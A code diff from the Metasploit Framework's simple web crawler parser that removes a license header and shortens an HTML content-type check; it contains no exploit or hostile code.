# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# $Revision$
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
@@ -19,10 +10,7 @@ require 'uri'
|
||||
class CrawlerSimple < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
return unless result['Content-Type'].include?('text/html')
|
||||
|
||||
# doc = Hpricot(result.body.to_s)
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user